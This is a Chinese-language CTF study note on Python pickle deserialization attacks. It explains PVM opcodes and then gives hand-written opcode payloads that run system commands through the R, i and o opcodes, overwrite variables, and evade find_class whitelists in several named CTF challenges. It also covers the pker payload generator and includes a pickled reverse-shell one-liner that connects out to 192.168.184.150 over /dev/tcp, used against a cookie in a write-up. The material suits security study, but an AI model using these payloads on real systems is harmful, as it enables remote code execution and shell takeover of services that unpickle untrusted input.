python反序列化知识点学习

news2025/4/11 8:33:12

最近遇到了python反序列化的题目,简单学习一下相关的知识点

基础知识

Python 的序列化指的是将 Python 对象转换为一种格式,以便可以将其存储在文件或通过网络传输。Python 中最常用的序列化模块是 pickle 模块。

序列化使用的是pickle.dumps方法,反序列化使用的是pickle.loads方法

上网搜了一下,python序列化和反序列化的过程

大佬的文章写的很详细 https://tttang.com/archive/1885/

  1. 生成操作码序列:pickle模块在序列化Python对象时,会生成一系列操作码(opcode)来表示对象的类型和值。这些操作码将被保存到文件或网络流中,以便在反序列化时使用。

  2. 反序列化操作码:在反序列化时,pickle模块读取操作码序列,并将其解释为Python对象。它通过PVM来执行操作码序列。Virtual Machine会按顺序读取操作码,并根据操作码的类型执行相应的操作。

  3. 执行操作码:PVM支持多种操作码,包括压入常量、调用函数、设置属性等。执行操作码的过程中,Virtual Machine会维护一个栈来存储数据。当执行操作码时,它会将数据从栈中取出,并根据操作码的类型进行相应的操作。执行完成后,结果将被压入栈中。

  4. 构造Python对象:当操作码序列被完全执行后,PVM会将栈顶的数据作为结果返回。这个结果就是反序列化后的Python对象。

    还原的过程,其实就是根据操作码执行一些python语句,来还原出对象的属性,也是无法还原出方法

类似于jvm,python不是编译语言,最后代码的执行工作都是交由pvm执行的

其中pvm的一些关键组成部分如下

指令处理器、栈区和内存区。

  1. 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到.这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。需要注意的是:

    opcode 是单字节的

    带参数的指令用换行符来确定边界

  2. 栈区:用 list 实现的,被用来临时存储数据、参数以及对象

  3. 内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。称为memo

不同于php,php的序列化结果是易读的字符串,而pickle序列化的结果则是二进制字节流,而且pickle序列化封存对象有6种协议,序列化时是需要指定的,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。

  1. v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python
  2. v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容
  3. v2 版协议是在 Python 2.3 中加入的,它为存储 new-style class 提供了更高效的机制。
  4. v3 版协议是在 Python 3.0 中加入的,它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议
  5. v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是 Python 3.8 使用的默认协议。
  6. v5 版协议是在 Python 3.8 中加入的。它增加了对带外数据的支持,并可加速带内数据处理

例如

import pickle
class test:
    def __init__(self):
        self.name = 'hellowrold'
a = test()
serialized = pickle.dumps(a, protocol=3)  # 指定PVM 协议版本
print(serialized)
unserialized = pickle.loads(serialized)  # 注意,loads 能够自动识别反序列化的版本
print(unserialized.name)
#结果
b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\n\x00\x00\x00hellowroldq\x04sb.'
hellowrold

可以看到,生成的结果种有很多\x的十六进制字符串,这些就是opcode,可以用pickletools.dis方法,查看这些操作码的具体作用

在这里插入图片描述

这里就不叙述这些操作码的具体作用了,上面大佬的文章讲的很详细,而且详细的PVM操作码可以在python3的安装目录的Lib里搜索pickle.py查看

重点关注下面这些即可

https://chenlvtang.top/2021/08/23/Python%E4%B9%8BPickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

这个大佬的文章有详细的解释和例子

0版本操作码

操作码功能写法栈变化
c获取一个全局对象或import一个模块c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,然后将从mark开始的元素直到模块作为参数,执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个可调用对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的第一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的前两个元素作为key-value对(第一为值,第二为健),添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

基础利用

一般来说常用的是loadsdumps,漏洞的触发一般是通过传参至loads模块中,然后触发恶意用户希望执行的命令

命令执行

pickle中用来构造函数执行的字节码有三个:Rio不一定反序列化的结果是命令执行的结果,只要在反序列化的过程中能够执行命令即可

R操作码

R操作码就是__reduce__这个魔术方法,

在对象序列化过程中,pickle 模块会尝试调用对象的 __reduce__ 方法。如果对象没有定义 __reduce__ 方法,pickle 模块会尝试使用其他方法,比如 __getstate____setstate__

__reduce__ 方法返回一个元组或字符串,元组包含足够的信息,以便能够重建对象。这个元组的格式通常如下:

  1. 一个可调用对象(通常是一个构造函数或工厂函数),用于重建对象。
  2. 一个包含可调用对象所需参数的元组。
  3. (可选)对象的内部状态(通常是一个字典),用于恢复对象的状态。

如果返回元组,会把元组的第一个参数当作方法,第二个参数当作这个方法的参数,第二个参数也要是元组

import pickle

class test:
    def __init__(self):
        self.name = 'hellowrold'
    def __reduce__(self):
       return (exec,("import os;os.system('ls /')",))
a = test()
serialized = pickle.dumps(a, protocol=3) 
unserialized = pickle.loads(serialized)  
#操作码payload 协议版本0
opcode=b'''cos
system
(S'whoami'
tR.'''

在这里插入图片描述

上网还找到了一个payload:(exec,("raise Exception(__import__('os').popen('whoami').read())",))

感觉类似ssti,要想办法把os模块搞进来,从而执行系统命令,

知道就是__reduce__方法也要学习对应的操作码payload,有时只知道生成好的opcode,要在复杂的原始opcode后面添加我们的payload,不过能用reduce的话,随便生成个类,不和靶机相同,还原时也会被执行命令,我们在学习手写payload时,建议学习0版本的opcode,非常易懂

i操作码

payload

opcode=b'''(S'whoami'
ios
system
.'''
test=pickle.loads(opcode)

opcode为什么要这么写呢,查上面的表即可知道

( 压入mark标记 ,标志复杂的对象的开始 => S'whoami'实例化一个字符串对象,值为whoami => ios\nsystem\n i操作码语法i[module]\n[callable]\n,寻找上一个mark标记,找到了i和mark之间的数据:字符串whomai,放入一个元组中,并把这个元组作为os.system的执行参数,同时把函数的执行结果入栈

实际利用可以去除原本的序列化字符串结束符.,再把这个opcode拼接上去,如上面那个test的例子

serialized = pickle.dumps(a, protocol=3) 
opcode=b'''(S'whoami'
ios
system
.'''
target=b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\n\x00\x00\x00hellowroldq\x04sb'+opcode
try_=pickle.loads(target) 

后面其他的字节码payload都可以通过查表得知其含义

c+o操作码

payload

opcode=b'''(cos
system
S'whoami'
o.'''

c操作码写法 c[module]\n[instance]\n,获得os.system方法,装入string对象whoami最后让o来执行,i操作码后面不用o,它相当于c和o的组合

变量覆盖

主要用到b操作码给对象赋值

demo

import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'helloworld'
db.'''
hack=pickle.loads(opcode)
print("secret变量的值为:"+secret.secret)
#secret变量的值为:secret
#secret变量的值为:helloworld

opcode解析

opcode功能栈的变化
c__main__从最高层代码运行环境main模块入栈
secret引入secret模块或类secret入栈
(压入mark标记mark入栈
S’secret’\nS’helloworld’实例化两个字符串对象两个字符串对象入栈
d寻找上一个mark标记,生成一个字典,并把该mark标记和d之间的变量按入栈先后顺序设为字典中的键值,字典{‘secret’:‘hellowrold’}入栈,mark,两个字符串出栈
b用栈顶字典{‘secret’:‘hellowrold’}给栈顶下一个元素,即secret模块更新属性引入的secret模块的secret值被修改

变量引用

类似于php,知道目标会有哪些类,我们可以在本地也搞个同样的类,修改一下生成的字节码,导致目标还原时引用到了不该引用的变量

如:

import pickle
import pickletools

class secret:
    pwd = "hahaha"

class test:
    def __init__(self):
        self.pwd = secret.pwd
a=test()
# pickletools.optimize优化,更易读
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)

假设目标有个secret.py,里面有个pwd变量,目标:假设目标收到我们修改过的字节码,还原test对象时让他引用secret.py的pwd

现在这个生成的字节码,使用的就是本地class类的pwd

b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\nVhahaha\nsb.'

关注后面的Vhahaha,表示unicode字符串,改为csecret\npwd,用c操作码引入secret模块的pwd

b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

目标还原模拟

import secret
import pickle
import pickletools


class test:
    def __init__(self):
        self.pwd = secret.pwd
target=b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
print(vars(pickle.loads(target)))

在这里插入图片描述

成功引用到secret.py的pwd

相关过滤和绕过

过滤R

使用i或c+o操作码替代

find_class限制模块

bulitins :Code-Breaking 2018 picklecode

pickle存在这些漏洞,pickle也出了防御的方法就是通过重写Unpickler.find_class()来限制全局变量的使用

在0版协议opcode中,只有ci、这两个字节码与全局对象有关,当出现这两个字节码时会调用find_class,所以我们使用时不能违反其限制

看之前的操作码基础payload,基本上都是直接引入os模块的system方法执行命令,如果用find_class方法限制了引入的类,就不能引入os了,这里是限制了只能引入builtins模块,builtins模块里都是py的内置方法,其中也有能执行命令的敏感函数,如eval,

接下来的例子都是网上找到的一些题目:

import builtins 
import io       
import pickle   
# 需要限制反序列化对象时可以使用的类
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
# 定义RestrictedUnpickler类继承自pickle.Unpickler
class RestrictedUnpickler(pickle.Unpickler):
    # 重写find_class方法
    def find_class(self, module, name):
        # 如果被反序列化的对象的类属于builtins模块中的安全类,则返回该类
        if module == "builtins" and name not in blacklist:
            return getattr(builtins, name)
        # 如果不是安全类,就抛出异常,禁止反序列化
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

# 定义一个帮助函数restricted_loads来反序列化对象
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    # 将传入的字符串s转换为bytes,并使用RestrictedUnpickler类反序列化
    return RestrictedUnpickler(io.BytesIO(s)).load()

思路,只能使用bulitins模块,而且不能直接使用builtins模块的eval或exec方法,大佬的方法很巧妙,

1.利用builtins.getattr方法(从对象中获取指定名称的属性),从bulitins的dict类中,取出可以获取字典属性的get方法,即执行getattr(bulitins.dict,‘get’)

2.利用get方法,从bulitins模块的全局变量字典bulitins.globals()再取出bulitsin模块这样拿到的Bulitins模块不受find_class限制,因为find_class只限制c,i这种直接引入的,相当于执行dict.get(builtins.globals(),'builtins'),dict类的get方法一般要绑定某个字典使用,如字典a.get('b'),否则就要在方法参数中指定字典,所以能获取到builtins模块

3拿到bulitins模块,再用getattr取出eval方法,执行命令即可

当时看这个思路,本来想在操作码中看能不能直接getattr(__builtins__,'eval')但是在反序列化时会报错

R操作码版本

大佬的opcode payload

 opcode=b'''cbuiltins      
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'__builtins__'
tRp3
0g0
(g3
S'eval'
tR(S"__import__("os").system('dir')"
tR.'''

写一下自己对这个opcode执行过程的一些浅薄理解

1-2   :c操作码引入builtins.getattr方法,该方法入栈
3     :栈顶元素builtins.getattr方法存入memo_0
4-5   :mark标记入栈,c引入builtins.dict方法,该方法入栈
6     :字符串对象'get'入栈
7     :t:寻找上一个mark标记,把之间的数据组成一个元组,放到栈顶,生成元组(bulitins.dict,get) ,R:执行栈中最靠近栈顶的可调用对象或方法,最接近栈顶的元组当作方法参数,并把执行结果放入栈顶,方法和元组出栈,这里的方法是builtins.getattr方法,所以执行bulintins.gettattr(bulitins.dict,get)(获取dict类的get方法),执行结果入栈,p1:栈顶元素存入memo_1
8-9   builtins.globals方法入栈
10    :)压入空元组,R执行builtins.globals()方法,执行结果(builtins模块的全局变量字典)入栈 p2:栈顶元素存入memo_2
11    :00 连续丢弃两个栈顶元素,此时栈为空 g1:memo_1元素即 dict.get方法入栈
12    :(mark标记入栈,g2:将memo_2元素即biultins模块的全局变量字典入栈,
13    :字符串'bulitins'入栈
14    :跟7类似,这里简写-> 生成元组(bulitins.golbals,'builtins')并放入栈顶,此时最靠近的栈顶的方法是dict.get,所以执行dict.get(bulitins.golbals,'builtins')的结果,就是获得了builtins模块入栈,存入memo_3
15    :抛弃栈顶元素bulitins,此时栈为空栈,memo_0元素bulitins.getattr入栈
16    :mark标记入栈,memo_3元素bulitins模块入栈,
17    :字符串对象'eval'入栈
18    :生成元组(builtins,'eval'),其实规范来说应该是(dict.get(builtins.globals(),'builtins'),'eval'),用前者简写,R执行builtins.getattr(builtins,'eval')获得eval方法,调用方法和元组出栈,此时栈中只有执行结果eval方法, ( 压入mark标记,字符串'__import__("os").system("whoami")'入栈
19    :生成元组('__import__("os").system("whoami")'),R执行eval('__import__("os").system("whoami")'),调用方法和元组出栈,执行结果入栈 .结束反序列化还原操作

理解opcode过程中,强烈建议,模拟一下还原过程中栈的进出以及memo区的存储,加深印象

上面的opcode明显都要用R字节码,如果过滤了R,我们还可以用O操作码替代,手写了一个,虽说能跑,但感觉很不优雅,佬们轻喷

opcode=b"""cbuiltins
getattr
p0
0(cbuiltins
globals
op1
0(g0
cbuiltins
dict
S'get'
op2
0(g2
g1
S'builtins'
op3
0(g0
g3
S'eval'
op4
0(g4
S"__import__('os').system('whoami')"
o."""

sys:BalsnCTF 2019 Pyshv1

如果限制了只能引入sys模块,该如何操作

如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块,存储在sys.modules这个字典中,有些库是默认被加载进来的,例如 os,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

因为sys.modules 还包含了sys模块本身,所以里面的'sys'健对应的模块我们是能直接使用的,所以如果能sys.modules['sys']=sys.modules,相当于sys=sys.modules,利用sys去调用原本是sys.modules里的对象,可以利用s操作码更新modules字典

然后去获取sys.modules.get方法,得到get方法,,然后执行sys.modules.get('os'),取出os模块,再把sys.modules[‘sys’]覆盖为sys.modules[‘os’],sys['sys']=os这样一来os模块就被引进来了,直接使用system方法执行命令即可,非常巧秒,大佬的opcode

opcode=b"""csys   
modules
p0
S'sys'
g0
scsys
get
(S'os'
tRp1
0S'sys'
g1   
scsys
system
(S'whoami'
tR0."""

opcode解析

1-3    :引入sys.modules字典入栈,并存储到memo_0
4      :字符串'sys'入栈
5      :取出memo_0元素,即sys.modules字典入栈
6      :s操作码,此时栈中有三个元素,自上而下是sys.modules,'sys',sys.modules,看一下s操作码,所以这里就是让sys.modules为value,'sys'为key,更新到字典sys.modules中,即sys.modules['sys']=sys.modules ,
6-7     此时sys就是sys.moudles,引入sys.get方法
8       压入mark标记,压入字符串'os'
9       创建空元组,内容为('os'),R操作码实现:执行方法sys.get('os')获取os模块,os模块入栈且存到memo_1中
10       弹出os模块,字符串'sys'入栈
11       从memo_1中取出os模块入栈
11-12    s:类似6-7,更新sys.modules字典,sys.modules['sys']=os
12-13    引入sys.system
13-14    R操作码执行:system('whomai'),执行结果入栈,反序列化结束时栈里只能有一个元素,此时有两个:whoami的执行结果和sys.modules,所以需要弹出一个

自定义空模块:BalsnCTF 2019 Pyshv2

关键代码

whitelist=['structs']
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module) 
        return getattr(module, name)

structs是自定义的空模块,,不能cbuiltins直接拿内置方法,但可以通过__builtins_这个公有字典来取

在pickle源码中,find_class调用了__import__或getattr实现引入模块,如:

在这里插入图片描述

而且官方的重写find_class方法例子中,也只有return getattr,即__import__getattr这两个方法一般不会同时使用**,而这题不同,它们同时使用了,这就有了可乘之机


因为只能引入structs这个模块,它又是空的,而py中有一些操作类的魔术方法, 由于py的灵活性,部分魔术方法也可对模块使用,就用这些魔术方法,来达到我们的目的,魔术方法及其功能在这里可以查看,https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html

思路:

1.还是要拿到能获取字典属性的get方法,现在不能用cbuiltins\ngetattr从dict类拿了,但是还有一个魔术方法平替__getattribute__,跟getattr有一样的功能,可以通过structs._getattribute__来调用,但是__getattribute__不能像getattr一样,在方法调用时传入指定要取的字典,它只有一个参数,即要取的属性,由谁调用就从从哪里取

2.所以,当调用structs._getattribute__,它取的是哪个字典呢?structs.__dict__这个字典,它存储了这么模块所有的属性,如果这个字典被修改,那么模块的属性也会改变,一些类的属性修改也是通过修改它的__dict__字典实现的

3.前面提到,这一题同时使用了__import__getattr来引入模块,前者却是可以被覆盖的,且先被调用,如果我们让structs.__dict__['structs']=structs.__builtins__,再把__import__覆盖为structs._getattribute__,即structs.__dict__['__import__']=structs._getattribute__,那么如果执行opcodecstructs\nget

此时在find_class方法中,module是structs,name是get, __import__('structs')变为structs.__getattribute__('structs'),根据前面对structs模块属性的修改,这个的执行结果就是structs.__builtins__,然后在return getattr(structs.__builtins__,'get'),这样就拿到了能获取__builtins__字典的get方法,后面直接取出eval,相当于sturcts.__builtins__.get('eval'),非常巧妙

opcode:

opcode=b"""cstructs
__getattribute__
p0
0cstructs
__dict__
S'structs'
cstructs
__builtins__
p1
sg1
S'__import__'
g0
scstructs
get
(S'eval'
tR(S'print(open("flag.txt").read())'
tR."""

关键opcode解析

scstructs  s操作码就是更新__builtins__字典,把__import__方法改为__getattribute__
get        更新完后,执行c操作码,就像思路中提到的,此时栈顶就是__builtins__.get方法,所以后面再入栈一个参数元组('eval'),R执行拿到eval方法,

因为import语句就是调用__import__实现的,此时import无法使用,不能引入os执行命令,得用其他方法拿flag

从这两题的一些思考

  • 实现rce有大概两种思路,1是直接引入os.system 执行系统命令 2是拿到builitins的eval执行任意py代码
  • 在有find_class限制后,一般都不能直接引入os,只能想办法拿到eval,在eval执行的代码中再import os,而eval存在于__builtins__这个全局变量字典中,要取出来,必须要先拿到dict类get这个方法,再从全局变量字典中拿到eval方法
  • 怎么拿到get方法,有两个思路,任意模块.__builtins__.getgetattr(builtins.dict,'get')

描述符:BalsnCTF 2019 Pyshv3

源码:

# File: securePickle.py
import pickle
import io

whitelist = []

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)

def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

dumps = pickle.dumps

# File: server.py
import securePickle as pickle
import codecs
import os
import structs

pickle.whitelist.append('structs')


class Pysh(object):
    def __init__(self):
        self.key = os.urandom(100)
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'whoami': self.cmd_whoami,
            'su': self.cmd_su,
            'flag': self.cmd_flag,
        }

    def login(self):
        with open('flag.txt', 'rb') as f:
            flag = f.read()
        flag = bytes(a ^ b for a, b in zip(self.key, flag))
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        print('Login as ' + user.name + ' - ' + user.group)
        user.privileged = False
        user.flag = flag
        self.user = user

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))

    def cmd_whoami(self):
        print(self.user.name, self.user.group)

    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1

    def cmd_flag(self):
        if not self.user.privileged:
            print('flag: Permission denied')
        else:
            print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

    
# File: structs.py
class User(object):
    def __init__(self, name, group):
        self.name = name
        self.group = group
        self.isadmin = 0
        self.prompt = ''

只要user.privileged不为false,就可以拿到flag,但是题目在反序列化后,又给privileged赋值为false,所以在反序列化过程中覆盖修改行不通

但是还有一个东西可以利用,就是描述符类

当一个类实现了__get____set____delete__任一方法时,该类被称为“描述符”类,该类的实例化为描述符。对于一个某属性为描述符的类来说,其实例化的对象在查找该属性或设置属性时将不再通过__dict__,而是调用该属性描述符的__get____set____delete__方法。需要注意的是,一个类必须在声明时就设置属性为描述符,使之成为类属性,而不是对象属性,此时描述符才能起作用。

在这里插入图片描述

如这个例子:

class test(object):
    def __set__(self, obj, val):
        pass
    
    name='hello'
    
m = test()
test.privileged = m
print(m.privileged)
m.name = 'wrold'
print(m.name,m.privileged)
m.privileged = False
if m.privileged:
    print('yes')

在这里插入图片描述
,

在这个例子中,test类设置__set__方法,成为描述符类,实例化一个m对象后,把test类的privileged属性设置为m描述符对象本身,再去修改privileged,就会触发__set__,这个方法我设了pass,所以会修改失败,

大佬的实现opcode

cstructs
User
p0
(I111
I222
tRp1
g0
(N}S'__set__'
g0
sS'privileged'
g1
stbg1
.

去看了pickle中b操作码的源码,才发现b操作码更新属性还可以用元组(应该是用来恢复__slotstate__定义的静态属性)

相关源码如下

def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        # 检查是否有`__setstate__`方法
        setstate = getattr(inst, "__setstate__", None)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        #检查弹出的栈顶元素是不是两个元素的元组,是元组就把元组第一个元素用来更新栈顶第二个元素的属性
        #否则当作字典去更新
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

SUCTF-2019:guess_game

关键代码

# file: Ticket.py
class Ticket:
    def __init__(self, number):
        self.number = number

    def __eq__(self, other):
        if type(self) == type(other) and self.number == other.number:
            return True
        else:
            return False

    def is_valid(self):
        assert type(self.number) == int

        if number_range >= self.number >= 0:
            return True
        else:
            return False
       
# file: game_client.py
number = input('Input the number you guess\n> ')
ticket = Ticket(number)
ticket = pickle.dumps(ticket)
writer.write(pack_length(len(ticket)))
writer.write(ticket)

client 端接收数字输入,用这个数字生成的 Ticket 对象序列化后发送给 server 端。

# file: game_server.py 有删减
from guess_game.Ticket import Ticket
from guess_game.RestrictedUnpickler import restricted_loads
from struct import unpack
from guess_game import game
import sys

while not game.finished():
    ticket = stdin_read(length)
    ticket = restricted_loads(ticket)

    assert type(ticket) == Ticket

    if not ticket.is_valid():
        print('The number is invalid.')
        game.next_game(Ticket(-1))
        continue

    win = game.next_game(ticket)
    if win:
        text = "Congratulations, you get the right number!"
    else:
        text = "Wrong number, better luck next time."
    print(text)

    if game.is_win():
        text = "Game over! You win all the rounds, here is your flag %s" % flag
    else:
        text = "Game over! You got %d/%d." % (game.win_count, game.round_count)
    print(text)

# file: RestrictedUnpickler.py  对引入的模块进行检测
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Only allow safe classes
        if "guess_game" == module[0:10] and "__" not in name:
            return getattr(sys.modules[module], name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

server将接受到的数据反序列化,还原成一个ticket对象,再自己生成一个ticket对象,但是数字是随机的,传过来的要和本地的生成对象中的随机数字相等算赢,赢了10次才能拿flag

要覆盖game的 win_count 和 round_count。换句话来说,就是需要在反序列化 Ticket 对象前执行:

from guess_game import game  # __init__.py  game = Game()
game.round_count = 10
game.win_count = 10

开始构造

cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb

但是在反序列化后,还有个assert type(ticket) == Ticket,所以覆盖完后,栈顶要是一个Ticket对象,所以这个payload后面要跟一个能还原Ticket对象的opcode,自己生成一个对象然后dumps一下即可

ticket=Ticket(3)
print(pickle.dumps(ticket))
b'\x80\x03cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x03sb.'

完整payload

opcode = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''

pker工具使用

有一个工具pker,利用ast帮助我们生成opcode,地址:https://github.com/eddieivan01/pker

功能

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

但是也是有它自己的语法,如:

以下module都可以是包含.的子module

调用函数时,注意传入的参数类型要和示例一致

对应的opcode会被生成,但并不与pker代码相互等价

语法

GLOBAL

对应opcode:b'c'

获取module下的一个全局对象(没有**import**的也可以,比如下面的os):

GLOBAL('os', 'system')

输入:module,instance(callable、module都是instance)


INST

对应opcode:b'i'

建立并入栈一个对象(可以执行一个函数):

INST('os', 'system', 'ls')  

输入:module,callable,para 


OBJ

对应opcode:b'o'

建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):

OBJ(GLOBAL('os', 'system'), 'ls')

输入:callable,para


xxx(xx,...)

对应opcode:b'R'

使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

或

globals_dic['local_var']='hello'

对应opcode:b's'

更新列表或字典的某项的值


xx.attr=123

对应opcode:b'b'

对xx对象进行属性设置

return

对应opcode:b'0'

出栈(作为pickle.loads函数的返回值):

return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

用法,现在一个文件写上pker语句,例如R操作码执行命令

r文件
system=GLOBAL('os','system')
system('whoami')
return

然后python3 pker.py <r 即可

在这里插入图片描述

R经常被过滤,不如用o操作码的

opcode=b"(cos\nsystem\nS'whoami'\no."
opcode=b"(cos\nsystem\nS'ls /'\no."

反弹shell

b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/192.168.184.150/1234 0>&1"\'\no.'

使用

针对Code-Breaking 题目的pker代码,可以生成有相同效果的opcode,就是会多次调用存入memo的语句,比较冗长

getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dict=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dict,'__builtins__')
eval=getattr(builtins,'eval')
eval("__import__('os').system('whoami')")
return

上面练习的其他的题目 pker代码在pker的test文件夹里都有

题目实战

XYCTF2024 login

题目只给了登录,注册两个页面,观察请求头,发现cookie中有个Remberme字段比较可疑,

在这里插入图片描述

base64解码后发现,

在这里插入图片描述

name hello ,pwd ,123,这些都是登录用到的数据,这应该是存储序列化用户对象的opcode,拿到python base64解码一下

在这里插入图片描述

完全符合3版本的opcode,看来gASV开头的base64大概率是opcode

经过测试 过滤了R,于是用o操作码执行命令,再base64编码一下

opcode=b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/vps_ip/port 0>&1"\'\no.'
print(base64.b64encode(opcode)

更新cookie的Remberme字段,再重定向到首页即可,

在这里插入图片描述

newstarctf Yes’s pikle

给了源码

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
    characters = string.ascii_letters + string.digits  # 包含字母和数字
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
    payload=request.args.get("token")
    if payload:
        token=verify_jwt(payload, key, ['PS256'])
        session["role"]=token[1]['role']
        return render_template('index.html')
    else:
        session["role"]="guest"
        user={"username":"boogipop","role":"guest"}
        jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
        return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
    if session["role"]=="admin":
        pickle.loads(base64.b64decode(request.args.get("pickle")))
        return render_template("index.html")
    else:
        return render_template("index.html")
if __name__ == "__main__":
